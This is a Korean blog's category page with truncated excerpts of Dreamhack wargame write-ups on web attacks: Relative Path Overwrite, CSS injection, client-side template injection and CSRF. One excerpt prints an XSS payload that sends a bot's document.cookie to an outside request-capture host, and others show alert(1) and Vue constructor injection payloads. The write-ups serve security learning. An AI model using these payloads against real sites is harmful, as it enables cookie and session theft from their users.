본문 바로가기

웹해킹

(116)
드림핵 Relative Path Overwrite Advanced 롸업 코드를 보면 filter.js가 로드되지 않으면 무조건 nope이 뜬다. 그런데 filter.js가 static 폴더 안에 담겨 있어서 아무짓도 안해도 그냥 nope이 뜬다. 이전 문제에서는 없던 404.php를 보면 이렇게 요청된 url을 출력하고 not found라고 띄운다. 잘못된 url을 조작해서 XSS 공격을 할 수 있을 거 같다. 이렇게 url에 index.php/dddd로 잘못된 경로로 filter.js를 로드하면 내가 입력한 dddd값이 코드에 포함된다. report에서 index.php/;location.href='https://ipprkke.request.dreamhack.games/'+document.cookie//?page=vuln&param=dreamhack 이렇게 요청을 보내면 ..
드림핵 Relative Path Overwrite 롸업 vuln.php 코드에서 입력값이 innerHTML에 들어간다. vuln.php에서 filter.js 파일을 로드해서 필터링을 하는데 상대경로로 로드를 하기 때문에 url을 조작해서 제대로 된 js파일을 로드할 수 없게 만들 수 있다. 이렇게 중간에 index.php을 넣어서 제대로 된 파일을 로드할 수 없게 만든다. 이렇게 하면 param이 필터링이 안 되기 때문에 입력값이 innerHTML로 들어가는 취약점을 이용해 XSS 공격을 할 수 있다. / http://127.0.0.1/ Report report 부분에서 보면 요청을 보내면 flag를 쿠키로 들고 있는 bot이 방문을 하기 때문에 index.php/?page=vuln&param= 이렇게 url을 조작해서 report에서 요청을 보내면 이렇게 ..
Relative Path Overwrite Relative Path Overwrite(RPO)는 서버와 브라우저가 상대 경로를 해석하는 과정에서 발생하는 차이점을 이용한 공격이다. 첫번째 코드는 최상위 경로부터 시작해서 탐색하고 로드하지만 두번째 코드는 현재 경로, 코드가 실행되는 파일의 경로부터 탐색해서 로드한다. /USER_INPUT/static/script.js static/script.js 파일을 로드할 때 이런식으로 상위 경로에 입력값이 들어가는 경우에 이를 조작해서 index.php/;alert(1);//static/script.js 이런 식으로 뒤 부분은 주석 처리를 시키고 원하는 자바스크립트 명령어를 실행시킬 수도 있다. CSS를 이용해서 공격을 할 수도 있다. CSS는 자바스크립트와 다르게 에러 코드가 나와도 다음으로 넘어가서 정..
드림핵 CSS Injection 롸업 이번 문제는 함수들도 많고 코드가 이전 문제들보다 길어서 어디에 취약점이 있는지 찾기 힘들었다. memo 페이지에서 로그인한 uid에 맞게 저장된 메모를 보여주는데 flag가 admin계정으로 로그인된 메모에 저장되어 있다. report 페이지에서 관리자 계정으로 로그인한 상태로 요청을 보낼 수 있다. mypage를 보면 InputApitoken이라는 이름으로 토큰이 저장되어 있다. 이 페이지를 report에서 관리자 계정으로 접속해서 CSS Injection을 하면 될 거 같다. import requests, string url = 'http://host3.dreamhack.games:20847/report' curr="" for ch in string.ascii_lowercase: data = {"p..
드림핵 Client Side Template Injection 롸업 다른 문제들과 비슷하게 vuln, flag, memo 페이지가 구성되어 있다. @app.after_request def add_header(response): global nonce response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'nonce-{nonce}' 'unsafe-eval' https://ajax.googleapis.com; object-src 'none'" nonce = os.urandom(16).hex() return response add_header 에서 CSP 부분 코드이다. htt..
Client Side Injection Client Side Template Injection은 이용자의 입력이 client side template framework에 의해 템플릿으로 해석되어 렌더링될 때 발생한다. {{ message }} vue라는 프론트엔드 프레임워크의 예제 코드이다. {{}}로 감싸진 vue 템플릿 부분이 문자열을 표시하거나 자바스크립트 표현식을 실행할 수 있기 때문에 공격자의 입력이 들어간다면 취약점이 될 수 있다. Vue 템플릿 컨텍스트 내에서 생성자에 접근하기 위해 {{_Vue.h.constructor}}를 이용할 수 있다. {{_Vue.h.constructor("alert(1)")()}} 이런 식으로 공격을 할 수 있다. AngularJS는 타임스크립트 기반의 오픈소스 프레임워크이다. Name: Hello {{..
드림핵 CSRF Advanced 롸업 app.route("/vuln") def vuln(): param = request.args.get("param", "").lower() xss_filter = ["frame", "script", "on"] for _ in xss_filter: param = param.replace(_, "*") return param @app.route("/flag", methods=["GET", "POST"]) def flag(): if request.method == "GET": return render_template("flag.html") elif request.method == "POST": param = request.form.get("param", "") if not check_csrf(param): re..
CSRF/CORS Bypass CSRF는 임의 이용자의 권한으로 임의 주소에 HTTP 요청을 보낼 수 있는 취약점이다. CSRF 취약점을 방어하기 위해 CSRF Token을 사용한다. 웹 서버는 전송된 Token을 이용해 이용자로부터 요청이 온 것인지 확인할 수 있다.